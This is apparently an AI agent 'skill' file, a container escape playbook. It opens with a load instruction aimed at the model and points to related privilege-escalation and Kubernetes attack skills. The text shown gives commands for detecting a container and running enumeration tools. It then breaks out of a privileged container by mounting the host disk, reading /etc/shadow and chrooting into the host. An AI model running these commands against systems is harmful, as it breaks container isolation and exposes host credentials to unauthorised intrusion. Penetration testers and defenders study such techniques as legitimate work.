container-escape-techniques

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

0. RELATED ROUTING

Before going deep, consider loading:

• linux-privilege-escalation when you first need root inside the container before attempting escape
• kubernetes-pentesting for K8s-specific attack paths beyond pod escape
• linux-security-bypass when seccomp/AppArmor blocks your escape technique

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

• Step-by-step escape chains for common misconfigurations
• Docker-in-Docker escape scenarios
• Kubernetes-specific escape paths with full command sequences

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1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate

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2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash